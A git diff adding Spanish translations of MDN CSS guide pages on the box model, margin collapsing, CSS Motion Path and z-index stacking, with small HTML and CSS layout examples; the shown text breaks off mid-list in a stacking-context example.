+<p><img alt="CSS Box model" src="https://mdn.mozillademos.org/files/8685/boxmodel-(3).png" style="height: 384px; width: 548px;"></p>
+
+<p><a name="content-area"></a><span id="result_box" lang="es"><span>El <strong>área de contenido</strong>, delimitada por el límite del contenido, contiene el contenido "real" del elemento, como lo puede ser texto, imagen o un reproductor de video.</span> <span>Sus dimensiones son el <em>ancho del contenido</em> (o el <em>ancho de la caja de contenido</em>) y la <em>altura del contenido</em> (o la <em>altura de la caja de contenido</em>).</span> <span>A menudo tiene un color de fondo o una imagen de fondo.</span></span></p>
+
+<p><span id="result_box" lang="es"><span>Si la propiedad </span></span>{{cssxref("box-sizing")}}<span lang="es"><span> está configurada en </span></span><code>content-box</code><span lang="es"><span> (default), el tamaño del área de contenido se puede definir explícitamente con las propiedades de </span></span>{{cssxref("width")}}<span lang="es"><span>, </span></span>{{cssxref("min-width")}}<span lang="es"><span>, </span></span>{{cssxref("max-width")}}<span lang="es"><span>, </span></span>{{ cssxref("height")}}<span lang="es"><span>, </span></span>{{cssxref("min-height")}}<span lang="es"><span> y </span></span>{{cssxref("max-height")}}<span lang="es"><span>.</span></span></p>
+
+<p><a name="padding-area"></a><span id="result_box" lang="es"><span>El <strong>área de relleno</strong> (padding), delimitada por el límite del relleno, extiende el área de contenido para incluir el relleno del elemento.</span> <span>Sus dimensiones son el <em>ancho de la caja de relleno</em> y la <em>altura de la caja de relleno</em>.</span> <span>Cuando el área de contenido tiene un fondo, se extiende dentro del relleno.</span></span></p>
+
+<p><span id="result_box" lang="es"><span>El espesor del relleno está determinado por </span></span><span lang="es"><span>las propiedades </span></span>{{cssxref("padding-top")}}<span lang="es"><span>, </span></span>{{cssxref("padding-right")}}<span lang="es"><span>, </span></span>{{cssxref("padding-bottom")}}<span lang="es"><span>, </span></span>{{cssxref("padding-left")}}<span lang="es"><span>, y la propiedad abreviada </span></span>{{cssxref("padding")}}<span lang="es"><span>.</span></span></p>
+
+<p><a name="border-area"></a><span id="result_box" lang="es"><span>El <strong>área del borde</strong>, delimitada por el límite del borde, extiende el área de relleno para incluir los bordes del elemento.</span> <span>Sus dimensiones son el <em>ancho de la caja del borde</em> y la <em>altura de la caja del borde</em>.</span></span></p>
+
+<p><span id="result_box" lang="es"><span>El espesor de los bordes está determinado por las propiedades {{cssxref("border-width")}} y la propiedad abreviada {{cssxref("border")}}.</span> <span>Si la propiedad {{cssxref("box-sizing")}} se establece en </span></span><code>border-box</code><span lang="es"><span>, el tamaño del área del borde se puede definir explícitamente con las propiedades {{cssxref("width")}}, {{cssxref("min-</span> <span>width")}}, {{cssxref("max-width")}}, {{cssxref("height")}}, {{cssxref("min-height")}}, y {{cssxref("max</span><span>-height")}}.</span></span></p>
+
+<p><a name="margin-area"></a><span id="result_box" lang="es"><span>El <strong>área del margen</strong>, delimitada por el límite del margen, extiende el área del borde para incluir un área vacía utilizada para separar el elemento de sus vecinos.</span> <span>Sus dimensiones son el <em>ancho de la caja del margen</em> y la <em>altura de la caja del margen</em>.</span></span></p>
+
+<p><span id="result_box" lang="es"><span>El tamaño del área del margen está determinado por las propiedades </span></span>{{cssxref("margin-top")}}<span lang="es"><span>, {{cssxref("margin-right")}}, {{cssxref ("margin-bottom")}}, {</span> <span>{cssxref("margin-left")}}, y la propiedad abreviada {{cssxref ("margin")}}.</span> <span>Cuando se produce el</span></span> <a href="/en/CSS/margin_collapsing" title="en/CSS/margin_collapsing">colapso del margen</a><span lang="es"><span>, el área del margen no está claramente definida ya que los márgenes se comparten entre las cajas.</span></span></p>
+
+<p><span id="result_box" lang="es"><span>Finalmente, ten en cuenta que para elementos en línea no reemplazados, la cantidad de espacio ocupado (la contribución a la altura de la línea) está determinada por la propiedad {{cssxref ('line-height')}}, aunque los bordes y</span> <span>el relleno todavía se muestran alrededor del contenido.</span></span></p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName("CSS2.1","box.html#box-dimensions")}}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td><span id="result_box" lang="es"><span>Aunque está redactado con más precisión, no hay cambio práctico.</span></span></td>
+  </tr>
+  <tr>
+   <td>{{ SpecName("CSS1","#formatting-model")}}</td>
+   <td>{{ Spec2('CSS1') }}</td>
+   <td><span class="short_text" id="result_box" lang="es"><span>Definición inicial</span></span></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{css_key_concepts}}</li>
+ <li>Propiedades CSS relacionadas: {{ cssxref("box-sizing") }}, {{ cssxref("background-clip") }}, {{ cssxref("height") }}, {{ cssxref("max-height") }}, {{ cssxref("min-height") }}, {{ cssxref("width") }}, {{ cssxref("max-height") }}, {{ cssxref("min-height") }}, {{ cssxref("padding") }}, {{ cssxref("padding-top") }}, {{ cssxref("padding-right") }}, {{ cssxref("padding-bottom") }}, {{ cssxref("padding-left") }}, {{ cssxref("border") }}, {{ cssxref("border-top") }}, {{ cssxref("border-right") }}, {{ cssxref("border-bottom") }}, {{ cssxref("border-left") }}, {{ cssxref("border-width") }}, {{ cssxref("border-top-width") }}, {{ cssxref("border-right-width") }}, {{ cssxref("border-bottom-width") }}, {{ cssxref("border-left-width") }}, {{ cssxref("margin") }}, {{ cssxref("margin-top") }}, {{ cssxref("margin-right") }}, {{ cssxref("margin-bottom") }}, {{ cssxref("margin-left") }}</li>
+</ul>
diff --git a/files/es/web/css/css_modelo_caja/mastering_margin_collapsing/index.html b/files/es/web/css/css_modelo_caja/mastering_margin_collapsing/index.html
new file mode 100644
index 0000000000..dafdf71855
--- /dev/null
+++ b/files/es/web/css/css_modelo_caja/mastering_margin_collapsing/index.html
@@ -0,0 +1,96 @@
+---
+title: Entendiendo el colapso de margen
+slug: Web/CSS/CSS_Modelo_Caja/Mastering_margin_collapsing
+tags:
+  - CSS
+  - CSS Box Model
+  - Guía
+  - Referencia
+translation_of: Web/CSS/CSS_Box_Model/Mastering_margin_collapsing
+---
+<div>{{CSSRef}}</div>
+
+<p>Los márgenes <a href="/es/docs/Web/CSS/margin-top">Top</a> y <a href="/es/docs/Web/CSS/margin-bottom">bottom</a> de los bloques a veces están combinados (colapsados) en un solo margen cuyo tamaño es el mayor de los márgenes combinados, un comportamiento conocido como <strong>colapso de margen</strong>. Ten en cuenta que los márgenes de <a href="/es/docs/Web/CSS/float">flotantes</a> y elementos con <a href="/es/docs/Web/CSS/position"> posición absoluta</a> nunca colapsan.</p><p></p>
+
+<p>El colapso de margen ocurre en tres casos básicos:</p>
+
+<dl>
+ <dt>Hermanos adjacentes</dt>
+ <dd>Los márgenes de los hermanos adjacentes son colapsados (excepto cuando el último hermano necesita ser <a href="/es/docs/Web/CSS/clear">limpiado</a> después de usar los flotantes).</dd>
+ <dt>Padre y primer/último hijo</dt>
+ <dd>Si no hay un borde, padding, contenido en línea, <a href="/es/docs/Web/Guide/CSS/Block_formatting_context">block formatting context</a> creado, o un <em><a href="/es/docs/Web/CSS/clear">limpiado</a></em> para separar el {{cssxref("margin-top")}} de un bloque del {{cssxref("margin-top")}} de su primer bloque hijo; o no hay borde, padding, contenido en línea, {{cssxref("height")}}, {{cssxref("min-height")}}, o {{cssxref("max-height")}} para separar el {{cssxref("margin-bottom")}} de un bloque del {{cssxref("margin-bottom")}} de su último hijo, entonces esos márgenes colapsan. El margen colapsado termina fuera del padre.</dd>
+ <dt>Bloques vacíos</dt>
+ <dd>Si no hay borde, padding, contenido en línea, {{cssxref("height")}}, o {{cssxref("min-height")}} para separar el {{cssxref("margin-top")}} de un bloque de su {{cssxref("margin-bottom")}}, entonces sus márgenes superiores e inferiores colapsan.</dd>
+</dl>
+ <p>Cosas a tener en cuenta:</p>
+
+
+<ul>
+ <li>Cuando estos casos están combinados ocurrirá un colapso de márgenes más complejo (de más de dos márgenes).</li>
+ <li>Estas reglas se aplican incluso a márgenes con valor cero, así que el margen del primer/último hijo siempre termina fuera de su padre (de acuerdo a las reglas de arriba) independientemente de que el margen del padre sea o no sea cero.</li>
+ <li>Cuando se trata de márgenes negativos, el tamaño del margen colapsado es la suma del margen positivo más grande y el margen negativo más pequeño (el más negativo).</li>
+ <li>Cuando todos los márgenes son negativos, el tamaño del margen colapsado es el margen más pequeño (el más negativo). Esto se aplica tanto a los elementos adyacentes como a los elementos anidados.</li>
+</ul>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;El margen inferior de este párrafo está colapsado ....&lt;/p&gt;
+&lt;p&gt;... con el margen superior de este párrafo, lo que deja un margen de&lt;code&gt;1.2rem&lt;/code&gt; entre ellos.&lt;/p&gt;
+
+&lt;div&gt;Este elemento padre contiene dos párrafos!
+  &lt;p&gt;Este párrafo tiene un margen de &lt;code&gt;.4rem&lt;/code&gt;  entre él y el texto anterior.&lt;/p&gt;
+  &lt;p&gt;Mi margen inferior se colapsa con mi padre, produciendo un margen inferior de &lt;code&gt;2rem&lt;/code&gt;.&lt;/p&gt;
+&lt;/div&gt;
+
+&lt;p&gt;Estoy &lt;code&gt;2rem&lt;/code&gt; por debajo del elemento de arriba.&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  margin: 2rem 0;
+  background: lavender;
+}
+
+p {
+  margin: .4rem 0 1.2rem 0;
+  background: yellow;
+}</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample('Ejemplos', 'auto', 350)}}</p>
+
+
+
+<p> </p>
+
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS2.1", "box.html#collapsing-margins", "margin collapsing")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="También_puedes_ver">También puedes ver</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/CSS/Referencia_CSS">CSS Reference</a></li>
+</ul>
+<ul>
+ <li>{{css_key_concepts}}</li>
+</ul>
diff --git a/files/es/web/css/css_motion_path/index.html b/files/es/web/css/css_motion_path/index.html
new file mode 100644
index 0000000000..4d439b2126
--- /dev/null
+++ b/files/es/web/css/css_motion_path/index.html
@@ -0,0 +1,78 @@
+---
+title: CSS Motion Path
+slug: Web/CSS/CSS_Motion_Path
+translation_of: Web/CSS/CSS_Motion_Path
+---
+<div>{{CSSRef}}{{seecompattable}}</div>
+
+<p><strong>Motion Path</strong> es un módulo CSS que permite animar cualquier objeto gráfico a lo largo de una ruta personalizada.</p>
+
+<p>La idea es que cuando se deseaba animar un elemento que se movía a lo largo de un “path”, anteriormente solo teniamos las propiedades de animación, posición, etc. a nuestra disposición, lo que no era ideal y solo permitía movimientos simples. Con {{cssxref("offset-path")}} puedes definir un "path" específico  de cualquier forma que se quiera. Luego se animará a lo largo de ese "path" animando {{cssxref("offset-distance")}}, y variar la rotación en algún punto usando {{cssxref("offset-rotate")}}.</p>
+
+<h2 id="Ejemplo_básico">Ejemplo básico</h2>
+
+<pre class="brush: html">&lt;div id="motion-demo"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">#motion-demo {
+  offset-path: path('M20,20 C20,100 200,0 200,100');
+  animation: move 3000ms infinite alternate ease-in-out;
+  width: 40px;
+  height: 40px;
+  background: cyan;
+}
+
+@keyframes move {
+  0% {
+    offset-distance: 0%;
+  }
+  100% {
+    offset-distance: 100%;
+  }
+}</pre>
+
+<p>{{EmbedLiveSample('Basic_example', '100%', 150)}}</p>
+
+<h2 id="Referéncia">Referéncia</h2>
+
+<h3 id="Propiedades">Propiedades</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("offset")}}</li>
+ <li>{{cssxref("offset-anchor")}}</li>
+ <li>{{cssxref("offset-distance")}}</li>
+ <li>{{cssxref("offset-path")}}</li>
+ <li>{{cssxref("offset-position")}}</li>
+ <li>{{cssxref("offset-rotate")}}</li>
+</ul>
+</div>
+
+<h2 id="Espedificaciones">Espedificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Specification</th>
+   <th>Status</th>
+   <th>Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Motion Path Level 1')}}</td>
+   <td>{{Spec2('Motion Path Level 1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_Browsers">Compatibilidad de Browsers</h2>
+
+<h3 id="offset_property"><code>offset</code> property</h3>
+
+<div>
+
+
+<p>{{Compat("css.properties.offset-path")}}</p>
+</div>
diff --git a/files/es/web/css/css_positioning/entendiendo_z_index/agregando_z-index/index.html b/files/es/web/css/css_positioning/entendiendo_z_index/agregando_z-index/index.html
new file mode 100644
index 0000000000..0278b3254f
--- /dev/null
+++ b/files/es/web/css/css_positioning/entendiendo_z_index/agregando_z-index/index.html
@@ -0,0 +1,179 @@
+---
+title: Agregando z-index
+slug: Web/CSS/CSS_Positioning/entendiendo_z_index/Agregando_z-index
+translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Adding_z-index
+---
+<p>« <a href="/es/CSS" title="CSS">CSS</a> « <a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index" title="Understanding CSS z-index">ENTENDIENDO LA PROPIEDAD CSS Z-INDEX</a></p>
+
+<h3 id="Agregando_cssxref(z-index)">Agregando {{ cssxref("z-index") }}</h3>
+
+<p>El primer ejemplo, <a href="https://developer.mozilla.org/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/Stacking_without_z-index" title="  javichito Apilando sin z-index">Apilando sin z-index</a>, explica cómo es organizado el apilamiento por defecto. Si quieres especificar un orden diferente de apilamiento, debes posicionar un elemento y usar la propiedad z-index.</p>
+
+<p>Esta propiedad es asignada con un valor entero (positivo o negativo), el cuál representa la posición del elemento en el eje-Z. Si no estás familiarizado con el eje-Z, imagina que la página tiene muchas capas una encima de la otra. Cada capa es numerada. Una capa con un número mayor es renderizada encima de las capas con números menores.</p>
+
+<div class="warning">
+<p><strong>Precaución:</strong> z-index solo tiene efecto si un elemento es <a href="/es/CSS/position" title="position">posicionado</a>.</p>
+</div>
+
+<ul>
+ <li><em>bottom: el más lejano al observador</em></li>
+ <li>...</li>
+ <li>Capa -3</li>
+ <li>Capa -2</li>
+ <li>Capa -1</li>
+ <li>Capa 0<em>capa de renderizado por defecto</em></li>
+ <li>Capa 1</li>
+ <li>Capa 2</li>
+ <li>Capa 3</li>
+ <li>...</li>
+ <li><em>top: el más cercano al observador</em></li>
+</ul>
+
+<div class="note">
+<p><strong>Notas:</strong></p>
+
+<ul>
+ <li>Cuando la propiedad z-index no ha sido especificada, los elementos son renderizados en la capa de renderizado por defecto 0 (cero).</li>
+ <li>Si varios elementos comparten el mismo valor z-index (<em>i.e.</em> están situados en la misma capa), las reglas de apilamiento explicadas en la sección <a href="https://developer.mozilla.org/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/Stacking_without_z-index" title="  javichito Apilando sin z-index">Apilando sin z-index</a> son aplicadas.</li>
+</ul>
+</div>
+
+<p>En el siguiente ejempo, el orden de apilamiento de las capas es organizado usando z-index. El z-index del DIV#5 no hace efecto ya que este no es un elemento posicionado.</p>
+
+<p>{{ EmbedLiveSample('Example_source_code', '468', '365', '', 'Web/Guide/CSS/Understanding_z_index/Adding_z-index') }}</p>
+
+<h3 id="Código_fuente_de_ejemplo"><strong>Código fuente de ejemplo</strong></h3>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+    &lt;meta charset="UTF-8"&gt;
+    &lt;title&gt;Adding z-index&lt;/title&gt;
+    &lt;style type="text/css"&gt;
+
+    div {
+        opacity: 0.7;
+        font: 12px Arial;
+    }
+
+    span.bold { font-weight: bold; }
+
+    #normdiv {
+        z-index: 8;
+        height: 70px;
+        border: 1px dashed #999966;
+        background-color: #ffffcc;
+        margin: 0px 50px 0px 50px;
+        text-align: center;
+    }
+
+    #reldiv1 {
+        z-index: 3;
+        height: 100px;
+        position: relative;
+        top: 30px;
+        border: 1px dashed #669966;
+        background-color: #ccffcc;
+        margin: 0px 50px 0px 50px;
+        text-align: center;
+    }
+
+    #reldiv2 {
+        z-index: 2;
+        height: 100px;
+        position: relative;
+        top: 15px;
+        left: 20px;
+        border: 1px dashed #669966;
+        background-color: #ccffcc;
+        margin: 0px 50px 0px 50px;
+        text-align: center;
+    }
+
+    #absdiv1 {
+        z-index: 5;
+        position: absolute;
+        width: 150px;
+        height: 350px;
+        top: 10px;
+        left: 10px;
+        border: 1px dashed #990000;
+        background-color: #ffdddd;
+        text-align: center;
+    }
+
+    #absdiv2 {
+        z-index: 1;
+        position: absolute;
+        width: 150px;
+        height: 350px;
+        top: 10px;
+        right: 10px;
+        border: 1px dashed #990000;
+        background-color: #ffdddd;
+        text-align: center;
+    }
+
+    &lt;/style&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+
+    &lt;br /&gt;&lt;br /&gt;
+
+    &lt;div id="absdiv1"&gt;
+        &lt;br /&gt;&lt;span class="bold"&gt;DIV #1&lt;/span&gt;
+        &lt;br /&gt;position: absolute;
+        &lt;br /&gt;z-index: 5;
+    &lt;/div&gt;
+
+    &lt;div id="reldiv1"&gt;
+        &lt;br /&gt;&lt;span class="bold"&gt;DIV #2&lt;/span&gt;
+        &lt;br /&gt;position: relative;
+        &lt;br /&gt;z-index: 3;
+    &lt;/div&gt;
+
+    &lt;div id="reldiv2"&gt;
+        &lt;br /&gt;&lt;span class="bold"&gt;DIV #3&lt;/span&gt;
+        &lt;br /&gt;position: relative;
+        &lt;br /&gt;z-index: 2;
+    &lt;/div&gt;
+
+    &lt;div id="absdiv2"&gt;
+        &lt;br /&gt;&lt;span class="bold"&gt;DIV #4&lt;/span&gt;
+        &lt;br /&gt;position: absolute;
+        &lt;br /&gt;z-index: 1;
+    &lt;/div&gt;
+
+    &lt;div id="normdiv"&gt;
+        &lt;br /&gt;&lt;span class="bold"&gt;DIV #5&lt;/span&gt;
+        &lt;br /&gt;no positioning
+        &lt;br /&gt;z-index: 8;
+    &lt;/div&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="También_puedes_ver">También puedes ver</h3>
+
+<ul>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/Stacking_without_z-index" title="  javichito Apilando sin z-index">Apilando sin z-index</a> : Reglas de apilamiento por defecto</li>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/Apilamiento_y_float" title="Apilamiento y float">Apilamiento y float</a> : Cómo son manejados los elementos flotantes</li>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/El_contexto_de_apilamiento" title="El contexto de apilamiento">El contexto de apilamiento</a> : Notas sobre el contexto de apilamiento</li>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/ejemplo_1_del_contexto_de_apilamiento" title="Ejemplo 1 del contexto de apilamiento">Ejemplo 1 del contexto de apilamiento</a> : Jerarquía HTML de 2 niveles, z-index en el último nivel</li>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/ejemplo_2_del_contexto_de_apilamiento" title="Ejemplo 2 del contexto de apilamiento">Ejemplo 2 del contexto de apilamiento</a> : Jerarquía HTML de 2 niveles, z-index en todos los niveles</li>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/ejemplo_3_del_contexto_de_apilamiento" title="Ejemplo 3 del contexto de apilamiento">Ejemplo 3 del contexto de apilamiento</a> : Jerarquía HTML de 3 niveles, z-index en el segundo nivel</li>
+</ul>
+
+<div class="originaldocinfo">
+<h3 id="Original_Document_Information" name="Original_Document_Information">Información del documento original</h3>
+
+<ul>
+ <li>Autor(es): Paolo Lombardi</li>
+ <li>Este artículo es una traducción al inglés de un artículo que escribí en italiano para <a href="http://www.yappy.it">YappY</a>. He dado el derecho de compartir el contenido bajo <a href="http://creativecommons.org/licenses/by-sa/2.0/">Creative Commons: Attribution-Sharealike license</a></li>
+ <li>Last Updated Date: November 3rd, 2014</li>
+</ul>
+</div>
+
+<p>{{ languages( { "fr": "fr/CSS/Comprendre_z-index/Ajout_de_z-index" } ) }}</p>
diff --git a/files/es/web/css/css_positioning/entendiendo_z_index/apilamiento_y_float/index.html b/files/es/web/css/css_positioning/entendiendo_z_index/apilamiento_y_float/index.html
new file mode 100644
index 0000000000..81b145e1a3
--- /dev/null
+++ b/files/es/web/css/css_positioning/entendiendo_z_index/apilamiento_y_float/index.html
@@ -0,0 +1,144 @@
+---
+title: Apilamiento y float
+slug: Web/CSS/CSS_Positioning/entendiendo_z_index/Apilamiento_y_float
+tags:
+  - Avanzado
+  - CSS
+  - Entendiendo_CSS_z-index
+  - Guía
+  - Referencia
+  - z-index
+translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_and_float
+---
+<div>{{cssref}}</div>
+
+<h3 id="Apilamiento_y_float">Apilamiento y float</h3>
+
+<p>Para los bloques flotantes el orden de apilamiento es un poco diferente. Los bloques flotantes son colocados entre bloques no posicionados y bloques posicionados:</p>
+
+<ol>
+ <li>Fondo y bordes del elemento raiz</li>
+ <li>Bloques descendientes en el flujo normal, en orden de aparición (en HTML)</li>
+ <li>Bloques flotantes</li>
+ <li>Elementos posicionados descendentemente , en orden de aparición (en HTML)</li>
+</ol>
+
+<p>En realidad, como puedes ver en el siguiente ejemplo, el fondo y el borde del bloque no posicionado (DIV #4) no son afectados por los bloques flotantes, mientras que el contenido si es afectado. Esto ocurre de acuerdo al comportamiento flotante stándar de CSS.</p>
+
+<p>Este comportamiento puede ser explicado con una versión mejorada de la lista previa:</p>
+
+<ol>
+ <li>Fondo y bordes del elemento raiz</li>
+ <li>Bloques descendientes en el flujo normal, en orden de aparición (en HTML)</li>
+ <li>Bloques flotantes</li>
+ <li>Descendientes en línea en el flujo normal</li>
+ <li>Elementos posicionados descendentemente , en orden de aparición (en HTML)</li>
+</ol>
+
+<div class="note"><strong>Nota:</strong> En el ejemplo debajo, todos los bloques excepto el no posicionado son translúcidos para mostrar el orden de apilamiento. Si la opacidad del bloque no posicionado (DIV #4) es reducida, entonces algo extraño ocurre: el fondo y el borde de ese bloque sobresale por encima de los bloques flotantes, pero aun debajo de los bloques posicionados. Yo no pude entender si esto es un bug o una interpretación peculiar de la especificación. (Aplicar opacidad debería crear implícitamente un contexto de apilamiento.)</div>
+
+<p>{{ EmbedLiveSample('Example_source_code', '563', '255', '', 'Web/Guide/CSS/Understanding_z_index/Stacking_and_float') }}</p>
+
+<h2 id="Código_fuente_de_ejemplo"><strong>Código fuente de ejemplo</strong></h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="abs1"&gt;
+  &lt;b&gt;DIV #1&lt;/b&gt;&lt;br /&gt;position: absolute;&lt;/div&gt;
+
+&lt;div id="flo1"&gt;
+  &lt;b&gt;DIV #2&lt;/b&gt;&lt;br /&gt;float: left;&lt;/div&gt;
+
+&lt;div id="flo2"&gt;
+  &lt;b&gt;DIV #3&lt;/b&gt;&lt;br /&gt;float: right;&lt;/div&gt;
+
+&lt;br /&gt;
+
+&lt;div id="sta1"&gt;
+  &lt;b&gt;DIV #4&lt;/b&gt;&lt;br /&gt;no positioning&lt;/div&gt;
+
+&lt;div id="abs2"&gt;
+  &lt;b&gt;DIV #5&lt;/b&gt;&lt;br /&gt;position: absolute;&lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  padding: 10px;
+  text-align: center;
+}
+
+b {
+  font-family: sans-serif;
+}
+
+#abs1 {
+  position: absolute;
+  width: 150px;
+  height: 200px;
+  top: 10px;
+  right: 140px;
+  border: 1px dashed #900;
+  background-color: #fdd;
+}
+
+#sta1 {
+  height: 100px;
+  border: 1px dashed #996;
+  background-color: #ffc;
+  margin: 0px 10px 0px 10px;
+  text-align: left;
+}
+
+#flo1 {
+  margin: 0px 10px 0px 20px;
+  float: left;
+  width: 150px;
+  height: 200px;
+  border: 1px dashed #090;
+  background-color: #cfc;
+}
+
+#flo2 {
+  margin: 0px 20px 0px 10px;
+  float: right;
+  width: 150px;
+  height: 200px;
+  border: 1px dashed #090;
+  background-color: #cfc;
+}
+
+#abs2 {
+  position: absolute;
+  width: 150px;
+  height: 100px;
+  top: 130px;
+  left: 100px;
+  border: 1px dashed #990;
+  background-color: #fdd;
+}</pre>
+
+<h3 id="También_puedes_ver">También puedes ver</h3>
+
+<ul>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/Stacking_without_z-index" title="  javichito Apilando sin z-index">Apilando sin z-index</a> : Reglas de apilamiento por defecto</li>
+ <li>
+  <p><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/Agregando_z-index" title="Agregando z-index">Agregando z-index</a> : Usando z-index para cambiar el apilamiento por defecto</p>
+ </li>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/El_contexto_de_apilamiento" title="El contexto de apilamiento">El contexto de apilamiento</a> : Notas sobre el contexto de apilamiento</li>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/ejemplo_1_del_contexto_de_apilamiento" title="Ejemplo 1 del contexto de apilamiento">Ejemplo 1 del contexto de apilamiento</a> : Jerarquía HTML de 2 niveles, z-index en el último nivel</li>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/ejemplo_2_del_contexto_de_apilamiento" title="Ejemplo 2 del contexto de apilamiento">Ejemplo 2 del contexto de apilamiento</a> : Jerarquía HTML de 2 niveles, z-index en todos los niveles</li>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/ejemplo_3_del_contexto_de_apilamiento" title="Ejemplo 3 del contexto de apilamiento">Ejemplo 3 del contexto de apilamiento</a> : Jerarquía HTML de 3 niveles, z-index en el segundo nivel</li>
+</ul>
+
+<div class="originaldocinfo">
+<h3 id="Original_Document_Information" name="Original_Document_Information">Información del documento original</h3>
+
+<ul>
+ <li>Autor(es): Paolo Lombardi</li>
+ <li>Este artículo es una traducción al inglés de un artículo que escribí en italiano para <a href="http://www.yappy.it">YappY</a>. He dado el derecho de compartir el contenido bajo <a href="http://creativecommons.org/licenses/by-sa/2.0/">Creative Commons: Attribution-Sharealike license</a></li>
+ <li>Last Updated Date: November 3rd, 2014</li>
+</ul>
+</div>
+
+<p> </p>
diff --git a/files/es/web/css/css_positioning/entendiendo_z_index/ejemplo_1_del_contexto_de_apilamiento/index.html b/files/es/web/css/css_positioning/entendiendo_z_index/ejemplo_1_del_contexto_de_apilamiento/index.html
new file mode 100644
index 0000000000..def9c5ea8e
--- /dev/null
+++ b/files/es/web/css/css_positioning/entendiendo_z_index/ejemplo_1_del_contexto_de_apilamiento/index.html
@@ -0,0 +1,132 @@
+---
+title: Ejemplo 1 del contexto de apilamiento
+slug: >-
+  Web/CSS/CSS_Positioning/entendiendo_z_index/ejemplo_1_del_contexto_de_apilamiento
+translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_context_example_1
+---
+<p>« <a href="/es/CSS" title="CSS">CSS</a> « <a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index" title="Understanding CSS z-index">ENTENDIENDO LA PROPIEDAD CSS Z-INDEX</a></p>
+
+<h3 id="Ejemplo_1_del_contexto_de_apilamiento">Ejemplo 1 del contexto de apilamiento</h3>
+
+<p>Empecemos con un ejemplo básico. En el contexto de apilamiento raíz tenemos dos DIVs (DIV #1 and DIV #3), ambos con posición relativa, pero sin propiedad z-index. Dentro del DIV #1 se encuentra el DIV #2 de posición absoluta, mientras que en el DIV #3 se encuentra el DIV #4 con posición absoluta, ambos sin propiedad z-index.</p>
+
+<p>El único contexto de apilamiento es el contexto raíz. Sin la propiedad z-index, los elementos son apilados por orden de ocurrencia.</p>
+
+<p><img alt="Stacking context example 1" class="internal" src="/@api/deki/files/914/=Understanding_zindex_05a.png"></p>
+
+<p>Si a DIV #2 le asignamos un valor z-index positivo (no-cero y no-auto), es renderizado encima de todos los otros DIVs.</p>
+
+<p><img alt="Stacking context example 1" class="internal" src="/@api/deki/files/915/=Understanding_zindex_05b.png"></p>
+
+<p>Luego si al DIV #4 también se le asigna un z-index positivo mayor que el z-index del DIV #2, es renderizado encima de los otros DIVs incluyendo DIV #2.</p>
+
+<p><img alt="Stacking context example 1" class="internal" src="/@api/deki/files/916/=Understanding_zindex_05c.png"></p>
+
+<p>En este último ejemplo puedes ver que el DIV #2 y el DIV #4 no son hermanos, porque pertenecen a padres distintos en la jerarquía de elementos HTML. A pesar de esto, el apilamiento del DIV #4 con respecto al DIV #2 puede ser controlado a través de z-index. Pasa que, dado a que al DIV #1 y al DIV #3 no se le ha asignado ningún valor z-index, ellos no han creado un contexto de apilamiento. Esto significa que todos sus contenidos, incluyendo el DIV #2 y el DIV #4, pertenecen al mismo contexto de apilamiento raíz.</p>
+
+<p>En términos de contextos de apilamiento, el DIV #1 y el DIV #3 son simplemente asimilados dentro del elemento raíz, y la jerarquía resultante es la siguiente:</p>
+
+<ul>
+ <li>contexto de apilamiento raíz
+  <ul>
+   <li>DIV #2 (z-index 1)</li>
